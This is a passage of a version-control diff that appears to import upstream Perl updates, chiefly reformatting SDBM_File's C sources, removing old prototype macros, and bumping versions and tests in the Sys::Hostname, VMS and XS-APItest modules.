-$(OBJS): sdbm.h tune.h pair.h
-
-#
-# dbu using berkelezoid ndbm routines [if you have them] for testing
-#
-#x-dbu: dbu.o util.o
-#	cc $(CFLAGS) -o x-dbu dbu.o util.o
-lint:
-	lint -abchx $(SRCS)
-
-clean:
-	rm -f *.o mon.out core
-
-purge: 	clean
-	rm -f dbu libsdbm.a dbd dba dbe x-dbu *.dir *.pag
-
-shar:
-	shar $(MISC) makefile $(SRCS) $(HDRS) >SDBM.SHAR
-
-readme:
-	nroff -ms readme.ms | col -b >README

Modified: vendor/perl/dist/ext/SDBM_File/pair.c
===================================================================
--- vendor/perl/dist/ext/SDBM_File/pair.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/pair.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,26 +17,26 @@
 #include "tune.h"
 #include "pair.h"
 
-#define exhash(item)	sdbm_hash((item).dptr, (item).dsize)
+#define exhash(item)    sdbm_hash((item).dptr, (item).dsize)
 
 /* 
  * forward 
  */
-static int seepair proto((char *, int, const char *, int));
+static int seepair(char *, int, const char *, int);
 
 /*
  * page format:
- *	+------------------------------+
- * ino	| n | keyoff | datoff | keyoff |
- * 	+------------+--------+--------+
- *	| datoff | - - - ---->	       |
- *	+--------+---------------------+
- *	|	 F R E E A R E A       |
- *	+--------------+---------------+
- *	|  <---- - - - | data          |
- *	+--------+-----+----+----------+
- *	|  key   | data     | key      |
- *	+--------+----------+----------+
+ *      +------------------------------+
+ * ino  | n | keyoff | datoff | keyoff |
+ *      +------------+--------+--------+
+ *      | datoff | - - - ---->         |
+ *      +--------+---------------------+
+ *      |        F R E E A R E A       |
+ *      +--------------+---------------+
+ *      |  <---- - - - | data          |
+ *      +--------+-----+----+----------+
+ *      |  key   | data     | key      |
+ *      +--------+----------+----------+
  *
  * calculating the offsets for free area:  if the number
  * of entries (ino[0]) is zero, the offset to the END of
@@ -47,74 +47,74 @@
 int
 fitpair(char *pag, int need)
 {
-	int n;
-	int off;
-	int free;
-	short *ino = (short *) pag;
+        int n;
+        int off;
+        int free;
+        short *ino = (short *) pag;
 
-	off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
-	free = off - (n + 1) * sizeof(short);
-	need += 2 * sizeof(short);
+        off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
+        free = off - (n + 1) * sizeof(short);
+        need += 2 * sizeof(short);
 
-	debug(("free %d need %d\n", free, need));
+        debug(("free %d need %d\n", free, need));
 
-	return need <= free;
+        return need <= free;
 }
 
 void
 putpair(char *pag, datum key, datum val)
 {
-	int n;
-	int off;
-	short *ino = (short *) pag;
+        int n;
+        int off;
+        short *ino = (short *) pag;
 
-	off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
+        off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
 /*
  * enter the key first
  */
-	off -= key.dsize;
-	(void) memcpy(pag + off, key.dptr, key.dsize);
-	ino[n + 1] = off;
+        off -= key.dsize;
+        (void) memcpy(pag + off, key.dptr, key.dsize);
+        ino[n + 1] = off;
 /*
  * now the data
  */
-	off -= val.dsize;
-	(void) memcpy(pag + off, val.dptr, val.dsize);
-	ino[n + 2] = off;
+        off -= val.dsize;
+        (void) memcpy(pag + off, val.dptr, val.dsize);
+        ino[n + 2] = off;
 /*
  * adjust item count
  */
-	ino[0] += 2;
+        ino[0] += 2;
 }
 
 datum
 getpair(char *pag, datum key)
 {
-	int i;
-	int n;
-	datum val;
-	short *ino = (short *) pag;
+        int i;
+        int n;
+        datum val;
+        short *ino = (short *) pag;
 
-	if ((n = ino[0]) == 0)
-		return nullitem;
+        if ((n = ino[0]) == 0)
+                return nullitem;
 
-	if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
-		return nullitem;
+        if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
+                return nullitem;
 
-	val.dptr = pag + ino[i + 1];
-	val.dsize = ino[i] - ino[i + 1];
-	return val;
+        val.dptr = pag + ino[i + 1];
+        val.dsize = ino[i] - ino[i + 1];
+        return val;
 }
 
 int
 exipair(char *pag, datum key)
 {
-	short *ino = (short *) pag;
+        short *ino = (short *) pag;
 
-	if (ino[0] == 0)
-		return 0;
+        if (ino[0] == 0)
+                return 0;
 
-	return (seepair(pag, ino[0], key.dptr, key.dsize) != 0);
+        return (seepair(pag, ino[0], key.dptr, key.dsize) != 0);
 }
 
 #ifdef SEEDUPS
@@ -121,8 +121,8 @@
 int
 duppair(char *pag, datum key)
 {
-	short *ino = (short *) pag;
-	return ino[0] > 0 && seepair(pag, ino[0], key.dptr, key.dsize) > 0;
+        short *ino = (short *) pag;
+        return ino[0] > 0 && seepair(pag, ino[0], key.dptr, key.dsize) > 0;
 }
 #endif
 
@@ -129,34 +129,34 @@
 datum
 getnkey(char *pag, int num)
 {
-	datum key;
-	int off;
-	short *ino = (short *) pag;
+        datum key;
+        int off;
+        short *ino = (short *) pag;
 
-	num = num * 2 - 1;
-	if (ino[0] == 0 || num > ino[0])
-		return nullitem;
+        num = num * 2 - 1;
+        if (ino[0] == 0 || num > ino[0])
+                return nullitem;
 
-	off = (num > 1) ? ino[num - 1] : PBLKSIZ;
+        off = (num > 1) ? ino[num - 1] : PBLKSIZ;
 
-	key.dptr = pag + ino[num];
-	key.dsize = off - ino[num];
+        key.dptr = pag + ino[num];
+        key.dsize = off - ino[num];
 
-	return key;
+        return key;
 }
 
 int
 delpair(char *pag, datum key)
 {
-	int n;
-	int i;
-	short *ino = (short *) pag;
+        int n;
+        int i;
+        short *ino = (short *) pag;
 
-	if ((n = ino[0]) == 0)
-		return 0;
+        if ((n = ino[0]) == 0)
+                return 0;
 
-	if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
-		return 0;
+        if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
+                return 0;
 /*
  * found the key. if it is the last entry
  * [i.e. i == n - 1] we just adjust the entry count.
@@ -164,52 +164,47 @@
  * shift offsets onto deleted offsets, and adjust them.
  * [note: 0 < i < n]
  */
-	if (i < n - 1) {
-		int m;
-		char *dst = pag + (i == 1 ? PBLKSIZ : ino[i - 1]);
-		char *src = pag + ino[i + 1];
-		int   zoo = dst - src;
+        if (i < n - 1) {
+                int m;
+                char *dst = pag + (i == 1 ? PBLKSIZ : ino[i - 1]);
+                char *src = pag + ino[i + 1];
+                int   zoo = dst - src;
 
-		debug(("free-up %d ", zoo));
+                debug(("free-up %d ", zoo));
 /*
  * shift data/keys down
  */
-		m = ino[i + 1] - ino[n];
+                m = ino[i + 1] - ino[n];
 #ifdef DUFF
-#define MOVB 	*--dst = *--src
+#define MOVB    *--dst = *--src
 
-		if (m > 0) {
-			int loop = (m + 8 - 1) >> 3;
+                if (m > 0) {
+                        int loop = (m + 8 - 1) >> 3;
 
-			switch (m & (8 - 1)) {
-			case 0:	do {
-				MOVB;	case 7:	MOVB;
-			case 6:	MOVB;	case 5:	MOVB;
-			case 4:	MOVB;	case 3:	MOVB;
-			case 2:	MOVB;	case 1:	MOVB;
-				} while (--loop);
-			}
-		}
+                        switch (m & (8 - 1)) {
+                        case 0: do {
+                                MOVB; /* FALLTHROUGH */ case 7: MOVB; /* FALLTHROUGH */
+                        case 6: MOVB; /* FALLTHROUGH */ case 5: MOVB; /* FALLTHROUGH */
+                        case 4: MOVB; /* FALLTHROUGH */ case 3: MOVB; /* FALLTHROUGH */
+                        case 2: MOVB; /* FALLTHROUGH */ case 1: MOVB;
+                                } while (--loop);
+                        }
+                }
 #else
-#ifdef HAS_MEMMOVE
-		dst -= m;
-		src -= m;
-		memmove(dst, src, m);
-#else
-		while (m--)
-			*--dst = *--src;
+                dst -= m;
+                src -= m;
+                memmove(dst, src, m);
 #endif
-#endif
 /*
  * adjust offset index up
  */
-		while (i < n - 1) {
-			ino[i] = ino[i + 2] + zoo;
-			i++;
-		}
-	}
-	ino[0] -= 2;
-	return 1;
+                while (i < n - 1) {
+                        ino[i] = ino[i + 2] + zoo;
+                        i++;
+                }
+        }
+        ino[0] -= 2;
+        return 1;
 }
 
 /*
@@ -220,52 +215,52 @@
 static int
 seepair(char *pag, int n, const char *key, int siz)
 {
-	int i;
-	int off = PBLKSIZ;
-	short *ino = (short *) pag;
+        int i;
+        int off = PBLKSIZ;
+        short *ino = (short *) pag;
 
-	for (i = 1; i < n; i += 2) {
-		if (siz == off - ino[i] &&
-		    memEQ(key, pag + ino[i], siz))
-			return i;
-		off = ino[i + 1];
-	}
-	return 0;
+        for (i = 1; i < n; i += 2) {
+                if (siz == off - ino[i] &&
+                    memEQ(key, pag + ino[i], siz))
+                        return i;
+                off = ino[i + 1];
+        }
+        return 0;
 }
 
 void
 splpage(char *pag, char *New, long int sbit)
 {
-	datum key;
-	datum val;
+        datum key;
+        datum val;
 
-	int n;
-	int off = PBLKSIZ;
-	char cur[PBLKSIZ];
-	short *ino = (short *) cur;
+        int n;
+        int off = PBLKSIZ;
+        char cur[PBLKSIZ];
+        short *ino = (short *) cur;
 
-	(void) memcpy(cur, pag, PBLKSIZ);
-	(void) memset(pag, 0, PBLKSIZ);
-	(void) memset(New, 0, PBLKSIZ);
+        (void) memcpy(cur, pag, PBLKSIZ);
+        (void) memset(pag, 0, PBLKSIZ);
+        (void) memset(New, 0, PBLKSIZ);
 
-	n = ino[0];
-	for (ino++; n > 0; ino += 2) {
-		key.dptr = cur + ino[0]; 
-		key.dsize = off - ino[0];
-		val.dptr = cur + ino[1];
-		val.dsize = ino[0] - ino[1];
+        n = ino[0];
+        for (ino++; n > 0; ino += 2) {
+                key.dptr = cur + ino[0]; 
+                key.dsize = off - ino[0];
+                val.dptr = cur + ino[1];
+                val.dsize = ino[0] - ino[1];
 /*
  * select the page pointer (by looking at sbit) and insert
  */
-		(void) putpair((exhash(key) & sbit) ? New : pag, key, val);
+                (void) putpair((exhash(key) & sbit) ? New : pag, key, val);
 
-		off = ino[1];
-		n -= 2;
-	}
+                off = ino[1];
+                n -= 2;
+        }
 
-	debug(("%d split %d/%d\n", ((short *) cur)[0] / 2, 
-	       ((short *) New)[0] / 2,
-	       ((short *) pag)[0] / 2));
+        debug(("%d split %d/%d\n", ((short *) cur)[0] / 2, 
+               ((short *) New)[0] / 2,
+               ((short *) pag)[0] / 2));
 }
 
 /*
@@ -277,22 +272,22 @@
 int
 chkpage(char *pag)
 {
-	int n;
-	int off;
-	short *ino = (short *) pag;
+        int n;
+        int off;
+        short *ino = (short *) pag;
 
-	if ((n = ino[0]) < 0 || n > (int)(PBLKSIZ / sizeof(short)))
-		return 0;
+        if ((n = ino[0]) < 0 || n > (int)(PBLKSIZ / sizeof(short)))
+                return 0;
 
-	if (n > 0) {
-		off = PBLKSIZ;
-		for (ino++; n > 0; ino += 2) {
-			if (ino[0] > off || ino[1] > off ||
-			    ino[1] > ino[0])
-				return 0;
-			off = ino[1];
-			n -= 2;
-		}
-	}
-	return 1;
+        if (n > 0) {
+                off = PBLKSIZ;
+                for (ino++; n > 0; ino += 2) {
+                        if (ino[0] > off || ino[1] > off ||
+                            ino[1] > ino[0])
+                                return 0;
+                        off = ino[1];
+                        n -= 2;
+                }
+        }
+        return 1;
 }

Modified: vendor/perl/dist/ext/SDBM_File/pair.h
===================================================================
--- vendor/perl/dist/ext/SDBM_File/pair.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/pair.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,14 +9,14 @@
 #define putpair sdbm__putpair
 #define splpage sdbm__splpage
 
-extern int fitpair proto((char *, int));
-extern void  putpair proto((char *, datum, datum));
-extern datum	getpair proto((char *, datum));
-extern int  exipair proto((char *, datum));
-extern int  delpair proto((char *, datum));
-extern int  chkpage proto((char *));
-extern datum getnkey proto((char *, int));
-extern void splpage proto((char *, char *, long));
+extern int fitpair(char *, int);
+extern void  putpair(char *, datum, datum);
+extern datum	getpair(char *, datum);
+extern int  exipair(char *, datum);
+extern int  delpair(char *, datum);
+extern int  chkpage(char *);
+extern datum getnkey(char *, int);
+extern void splpage(char *, char *, long);
 #ifdef SEEDUPS
-extern int duppair proto((char *, datum));
+extern int duppair(char *, datum);
 #endif

Modified: vendor/perl/dist/ext/SDBM_File/sdbm.c
===================================================================
--- vendor/perl/dist/ext/SDBM_File/sdbm.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/sdbm.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,13 +23,7 @@
 # include <sys/file.h>
 #endif
 
-#ifdef I_STRING
-# ifndef __ultrix__
-#  include <string.h>
-# endif
-#else
-# include <strings.h>
-#endif
+#include <string.h>
 
 /*
  * externals
@@ -41,8 +35,8 @@
 extern "C" {
 #endif
 
-extern Malloc_t malloc proto((MEM_SIZE));
-extern Free_t free proto((Malloc_t));
+extern Malloc_t malloc(MEM_SIZE);
+extern Free_t free(Malloc_t);
 
 #ifdef __cplusplus
 }
@@ -53,11 +47,11 @@
 /*
  * forward
  */
-static int getdbit proto((DBM *, long));
-static int setdbit proto((DBM *, long));
-static int getpage proto((DBM *, long));
-static datum getnext proto((DBM *));
-static int makroom proto((DBM *, long, int));
+static int getdbit(DBM *, long);
+static int setdbit(DBM *, long);
+static int getpage(DBM *, long);
+static datum getnext(DBM *);
+static int makroom(DBM *, long, int);
 
 /*
  * useful macros

Modified: vendor/perl/dist/ext/SDBM_File/sdbm.h
===================================================================
--- vendor/perl/dist/ext/SDBM_File/sdbm.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/sdbm.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -53,12 +53,6 @@
 
 extern const datum nullitem;
 
-#if defined(__STDC__) || defined(__cplusplus) || defined(CAN_PROTOTYPE)
-#define proto(p) p
-#else
-#define proto(p) ()
-#endif
-
 /*
  * flags to sdbm_store
  */
@@ -68,20 +62,20 @@
 /*
  * ndbm interface
  */
-extern DBM *sdbm_open proto((char *, int, int));
-extern void sdbm_close proto((DBM *));
-extern datum sdbm_fetch proto((DBM *, datum));
-extern int sdbm_delete proto((DBM *, datum));
-extern int sdbm_store proto((DBM *, datum, datum, int));
-extern datum sdbm_firstkey proto((DBM *));
-extern datum sdbm_nextkey proto((DBM *));
-extern int sdbm_exists proto((DBM *, datum));
+extern DBM *sdbm_open(char *, int, int);
+extern void sdbm_close(DBM *);
+extern datum sdbm_fetch(DBM *, datum);
+extern int sdbm_delete(DBM *, datum);
+extern int sdbm_store(DBM *, datum, datum, int);
+extern datum sdbm_firstkey(DBM *);
+extern datum sdbm_nextkey(DBM *);
+extern int sdbm_exists(DBM *, datum);
 
 /*
  * other
  */
-extern DBM *sdbm_prep proto((char *, char *, int, int));
-extern long sdbm_hash proto((const char *, int));
+extern DBM *sdbm_prep(char *, char *, int, int);
+extern long sdbm_hash(const char *, int);
 
 #ifndef SDBM_ONLY
 #define dbm_open sdbm_open
@@ -117,10 +111,6 @@
 #   endif
 #endif
 
-#if defined(__STDC__) || defined(_AIX) || defined(__stdc__) || defined(__cplusplus)
-# define STANDARD_C 1
-#endif
-
 #include <stdio.h>
 #include <ctype.h>
 #include <setjmp.h>
@@ -159,10 +149,8 @@
 # endif
 #endif
 
-/* Use all the "standard" definitions? */
-#if defined(STANDARD_C) && defined(I_STDLIB)
-#   include <stdlib.h>
-#endif /* STANDARD_C */
+/* Use all the "standard" definitions */
+#include <stdlib.h>
 
 #define MEM_SIZE Size_t
 
@@ -179,10 +167,10 @@
 extern "C" {
 #endif
 
-Malloc_t Perl_malloc proto((MEM_SIZE nbytes));
-Malloc_t Perl_calloc proto((MEM_SIZE elements, MEM_SIZE size));
-Malloc_t Perl_realloc proto((Malloc_t where, MEM_SIZE nbytes));
-Free_t   Perl_mfree proto((Malloc_t where));
+Malloc_t Perl_malloc(MEM_SIZE nbytes);
+Malloc_t Perl_calloc(MEM_SIZE elements, MEM_SIZE size);
+Malloc_t Perl_realloc(Malloc_t where, MEM_SIZE nbytes);
+Free_t   Perl_mfree(Malloc_t where);
 
 #ifdef __cplusplus
 }
@@ -190,92 +178,17 @@
 
 #endif /* MYMALLOC */
 
-#ifdef I_STRING
-# ifndef __ultrix__
-#  include <string.h>
-# endif
-#else
-# include <strings.h>
-#endif
+#include <string.h>
 
-#ifdef I_MEMORY
-#include <memory.h>
-#endif      
+#define memzero(d,l) memset(d,0,l)
 
-#ifdef __cplusplus
-#define HAS_MEMCPY
+#ifdef BUGGY_MSC
+#  pragma function(memcmp)
 #endif
 
-#ifdef HAS_MEMCPY
-#  if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-#    ifndef memcpy
-        extern char * memcpy proto((char*, char*, int));
-#    endif
-#  endif
-#else
-#   ifndef memcpy
-#	ifdef HAS_BCOPY
-#	    define memcpy(d,s,l) bcopy(s,d,l)
-#	else
-#	    define memcpy(d,s,l) my_bcopy(s,d,l)
-#	endif
-#   endif
-#endif /* HAS_MEMCPY */
+#define memNE(s1,s2,l) (memcmp(s1,s2,l))
+#define memEQ(s1,s2,l) (!memcmp(s1,s2,l))
 
-#ifdef HAS_MEMSET
-#  if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-#    ifndef memset
-	extern char *memset proto((char*, int, int));
-#    endif
-#  endif
-#  define memzero(d,l) memset(d,0,l)
-#else
-#   ifndef memzero
-#	ifdef HAS_BZERO
-#	    define memzero(d,l) bzero(d,l)
-#	else
-#	    define memzero(d,l) my_bzero(d,l)
-#	endif
-#   endif
-#endif /* HAS_MEMSET */
-
-#if defined(mips) && defined(ultrix) && !defined(__STDC__)
-#   undef HAS_MEMCMP
-#endif
-
-#if defined(HAS_MEMCMP) && defined(HAS_SANE_MEMCMP)
-#  if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-#    ifndef memcmp
-	extern int memcmp proto((char*, char*, int));
-#    endif
-#  endif
-#  ifdef BUGGY_MSC
-#    pragma function(memcmp)
-#  endif
-#else
-#   ifndef memcmp
-	/* maybe we should have included the full embedding header... */
-#	define memcmp Perl_my_memcmp
-#ifndef __cplusplus
-	extern int memcmp proto((char*, char*, int));
-#endif
-#   endif
-#endif /* HAS_MEMCMP */
-
-#ifndef HAS_BCMP
-#   ifndef bcmp
-#	define bcmp(s1,s2,l) memcmp(s1,s2,l)
-#   endif
-#endif /* !HAS_BCMP */
-
-#ifdef HAS_MEMCMP
-#  define memNE(s1,s2,l) (memcmp(s1,s2,l))
-#  define memEQ(s1,s2,l) (!memcmp(s1,s2,l))
-#else
-#  define memNE(s1,s2,l) (bcmp(s1,s2,l))
-#  define memEQ(s1,s2,l) (!bcmp(s1,s2,l))
-#endif
-
 #ifdef I_NETINET_IN
 #  ifdef VMS
 #    include <in.h>

Modified: vendor/perl/dist/ext/Sys-Hostname/Hostname.pm
===================================================================
--- vendor/perl/dist/ext/Sys-Hostname/Hostname.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Sys-Hostname/Hostname.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,10 +11,12 @@
 
 our $VERSION;
 
+use warnings ();
+
 our $host;
 
 BEGIN {
-    $VERSION = '1.20';
+    $VERSION = '1.22';
     {
 	local $SIG{__DIE__};
 	eval {
@@ -27,6 +29,7 @@
 
 
 sub hostname {
+  @_ and warnings::warnif("deprecated", "hostname() doesn't accept any arguments. This will become fatal in Perl 5.32");
 
   # method 1 - we already know it
   return $host if defined $host;

Modified: vendor/perl/dist/ext/Sys-Hostname/t/Hostname.t
===================================================================
--- vendor/perl/dist/ext/Sys-Hostname/t/Hostname.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Sys-Hostname/t/Hostname.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,14 +10,28 @@
 
 use Sys::Hostname;
 
-eval {
-    $host = hostname;
-};
+use Test::More tests => 4;
 
-if ($@) {
-    print "1..0\n" if $@ =~ /Cannot get host name/;
-} else {
-    print "1..1\n";
-    print "# \$host = '$host'\n";
-    print "ok 1\n";
+SKIP:
+{
+    eval {
+        $host = hostname;
+    };
+    skip "No hostname available", 1
+      if $@ =~ /Cannot get host name/;
+    isnt($host, undef, "got a hostname");
 }
+
+{
+    use warnings;
+    my $warn;
+    local $SIG{__WARN__} = sub { $warn = "@_" };
+    eval { hostname("dummy") };
+    ok($warn, "warns with an argument");
+    like($warn, qr/hostname\(\) doesn't accept any arguments/,
+         "appropriate message");
+    no warnings "deprecated";
+    undef $warn;
+    eval { hostname("dummy") };
+    is($warn, undef, "no warning when disabled");
+}

Modified: vendor/perl/dist/ext/VMS-DCLsym/DCLsym.pm
===================================================================
--- vendor/perl/dist/ext/VMS-DCLsym/DCLsym.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/VMS-DCLsym/DCLsym.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,12 +2,11 @@
 
 use Carp;
 use DynaLoader;
-use vars qw( @ISA $VERSION );
 use strict;
 
 # Package globals
- at ISA = ( 'DynaLoader' );
-$VERSION = '1.08';
+our @ISA = ( 'DynaLoader' );
+our $VERSION = '1.09';              # remember to update version in POD!
 my(%Locsyms) = ( ':ID' => 'LOCAL' );
 my(%Gblsyms) = ( ':ID' => 'GLOBAL');
 my $DoCache = 1;
@@ -265,7 +264,7 @@
 
 =head1 VERSION
 
-1.05  12-Feb-2011
+1.09
 
 =head1 BUGS
 

Modified: vendor/perl/dist/ext/VMS-Filespec/t/filespec.t
===================================================================
--- vendor/perl/dist/ext/VMS-Filespec/t/filespec.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/VMS-Filespec/t/filespec.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -137,6 +137,7 @@
 +foo.tmp	vmsify ^+foo.tmp ^
 ../foo\ \ bar/	vmsify [-.foo^_^_bar] ^
 ./foo.tmp	vmsify []foo.tmp ^
+x/r*???????	vmsify [.x]r*??????? ^
 
 # Fileifying directory specs
 __down_:[__the_.__garden_.__path_]     fileify __down_:[__the_.__garden_]__path_.dir;1 ^

Modified: vendor/perl/dist/ext/VMS-Stdio/Stdio.pm
===================================================================
--- vendor/perl/dist/ext/VMS-Stdio/Stdio.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/VMS-Stdio/Stdio.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,18 +8,17 @@
 package VMS::Stdio;
 
 require 5.002;
-use vars qw( $VERSION @EXPORT @EXPORT_OK %EXPORT_TAGS @ISA );
 use Carp '&croak';
 use DynaLoader ();
 use Exporter ();
- 
-$VERSION = '2.41';
- at ISA = qw( Exporter DynaLoader IO::File );
- at EXPORT = qw( &O_APPEND &O_CREAT &O_EXCL  &O_NDELAY &O_NOWAIT
+
+our $VERSION = '2.44';
+our @ISA = qw( Exporter DynaLoader IO::File );
+our @EXPORT = qw( &O_APPEND &O_CREAT &O_EXCL  &O_NDELAY &O_NOWAIT
               &O_RDONLY &O_RDWR  &O_TRUNC &O_WRONLY );
- at EXPORT_OK = qw( &binmode &flush &getname &remove &rewind &sync &setdef &tmpnam
+our @EXPORT_OK = qw( &binmode &flush &getname &remove &rewind &sync &setdef &tmpnam
                  &vmsopen &vmssysopen &waitfh &writeof );
-%EXPORT_TAGS = ( CONSTANTS => [ qw( &O_APPEND &O_CREAT &O_EXCL  &O_NDELAY
+our %EXPORT_TAGS = ( CONSTANTS => [ qw( &O_APPEND &O_CREAT &O_EXCL  &O_NDELAY
                                     &O_NOWAIT &O_RDONLY &O_RDWR &O_TRUNC
                                     &O_WRONLY ) ],
                  FUNCTIONS => [ qw( &binmode &flush &getname &remove &rewind
@@ -48,30 +47,6 @@
 sub DESTROY { close($_[0]); }
 
 
-################################################################################
-# Intercept calls to old VMS::stdio package, complain, and hand off
-# This will be removed in a future version of VMS::Stdio
-
-package VMS::stdio;
-
-sub AUTOLOAD {
-  my($func) = $AUTOLOAD;
-  $func =~ s/.*:://;
-  # Cheap trick: we know DynaLoader has required Carp.pm
-  Carp::carp("Old package VMS::stdio is now VMS::Stdio; please update your code");
-  if ($func eq 'vmsfopen') {
-    Carp::carp("Old function &vmsfopen is now &vmsopen");
-    goto &VMS::Stdio::vmsopen;
-  }
-  elsif ($func eq 'fgetname') {
-    Carp::carp("Old function &fgetname is now &getname");
-    goto &VMS::Stdio::getname;
-  }
-  else { goto &{"VMS::Stdio::$func"}; }
-}
-
-package VMS::Stdio;  # in case we ever use AutoLoader
-
 1;
 
 __END__
@@ -138,13 +113,11 @@
 the IO::File methods.
 
 B<Note:>  In order to conform to naming conventions for Perl
-extensions and functions, the name of this package has been
-changed to VMS::Stdio as of Perl 5.002, and the names of some
-routines have been changed.  Calls to the old VMS::stdio routines
-will generate a warning, and will be routed to the equivalent
-VMS::Stdio function.  This compatibility interface will be
-removed in a future release of this extension, so please
-update your code to use the new routines.
+extensions and functions, the name of this package was
+changed to from VMS::stdio to VMS::Stdio as of Perl 5.002, and the names of some
+routines were changed.  For many releases, calls to the old VMS::stdio routines
+would generate a warning, and then route to the equivalent
+VMS::Stdio function.  This compatibility interface has now been removed.
 
 =over 4
 

Modified: vendor/perl/dist/ext/VMS-Stdio/Stdio.xs
===================================================================
--- vendor/perl/dist/ext/VMS-Stdio/Stdio.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/VMS-Stdio/Stdio.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,6 +4,9 @@
  *
  */
 
+/* We now depend on handy.h macros that are not public API. */
+#define PERL_EXT
+
 #include "EXTERN.h"
 #include "perl.h"
 #include "XSUB.h"
@@ -15,7 +18,7 @@
 static bool
 constant(char *name, IV *pval)
 {
-    if (strnNE(name, "O_", 2)) return FALSE;
+    if (! strBEGINs(name, "O_")) return FALSE;
 
     if (strEQ(name, "O_APPEND"))
 #ifdef O_APPEND

Modified: vendor/perl/dist/ext/XS-APItest/APItest.pm
===================================================================
--- vendor/perl/dist/ext/XS-APItest/APItest.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/APItest.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use warnings;
 use Carp;
 
-our $VERSION = '0.88';
+our $VERSION = '0.98';
 
 require XSLoader;
 

Modified: vendor/perl/dist/ext/XS-APItest/APItest.xs
===================================================================
--- vendor/perl/dist/ext/XS-APItest/APItest.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/APItest.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,13 +9,19 @@
 #include "EXTERN.h"
 #include "perl.h"
 #include "XSUB.h"
+
+typedef FILE NativeFile;
+
 #include "fakesdio.h"   /* Causes us to use PerlIO below */
 
 typedef SV *SVREF;
 typedef PTR_TBL_t *XS__APItest__PtrTable;
+typedef PerlIO * InputStream;
+typedef PerlIO * OutputStream;
 
 #define croak_fail() croak("fail at " __FILE__ " line %d", __LINE__)
-#define croak_fail_ne(h, w) croak("fail %p!=%p at " __FILE__ " line %d", (h), (w), __LINE__)
+#define croak_fail_nep(h, w) croak("fail %p!=%p at " __FILE__ " line %d", (h), (w), __LINE__)
+#define croak_fail_nei(h, w) croak("fail %d!=%d at " __FILE__ " line %d", (int)(h), (int)(w), __LINE__)
 
 #ifdef EBCDIC
 
@@ -197,7 +203,7 @@
 
     i = 0;
     do {
-	mPUSHu(results[i]);
+	mXPUSHu(results[i]);
     } while (++i < (int)(sizeof(results)/sizeof(results[0])));
 
     /* Goodbye to our extra reference.  */
@@ -1160,88 +1166,88 @@
 static int my_keyword_plugin(pTHX_
     char *keyword_ptr, STRLEN keyword_len, OP **op_ptr)
 {
-    if(keyword_len == 3 && strEQs(keyword_ptr, "rpn") &&
+    if (memEQs(keyword_ptr, keyword_len, "rpn") &&
 		    keyword_active(hintkey_rpn_sv)) {
 	*op_ptr = parse_keyword_rpn();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 7 && strEQs(keyword_ptr, "calcrpn") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "calcrpn") &&
 		    keyword_active(hintkey_calcrpn_sv)) {
 	*op_ptr = parse_keyword_calcrpn();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 9 && strEQs(keyword_ptr, "stufftest") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "stufftest") &&
 		    keyword_active(hintkey_stufftest_sv)) {
 	*op_ptr = parse_keyword_stufftest();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 12 &&
-		    strEQs(keyword_ptr, "swaptwostmts") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "swaptwostmts") &&
 		    keyword_active(hintkey_swaptwostmts_sv)) {
 	*op_ptr = parse_keyword_swaptwostmts();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 8 && strEQs(keyword_ptr, "looprest") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "looprest") &&
 		    keyword_active(hintkey_looprest_sv)) {
 	*op_ptr = parse_keyword_looprest();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 14 && strEQs(keyword_ptr, "scopelessblock") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "scopelessblock") &&
 		    keyword_active(hintkey_scopelessblock_sv)) {
 	*op_ptr = parse_keyword_scopelessblock();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 10 && strEQs(keyword_ptr, "stmtasexpr") &&
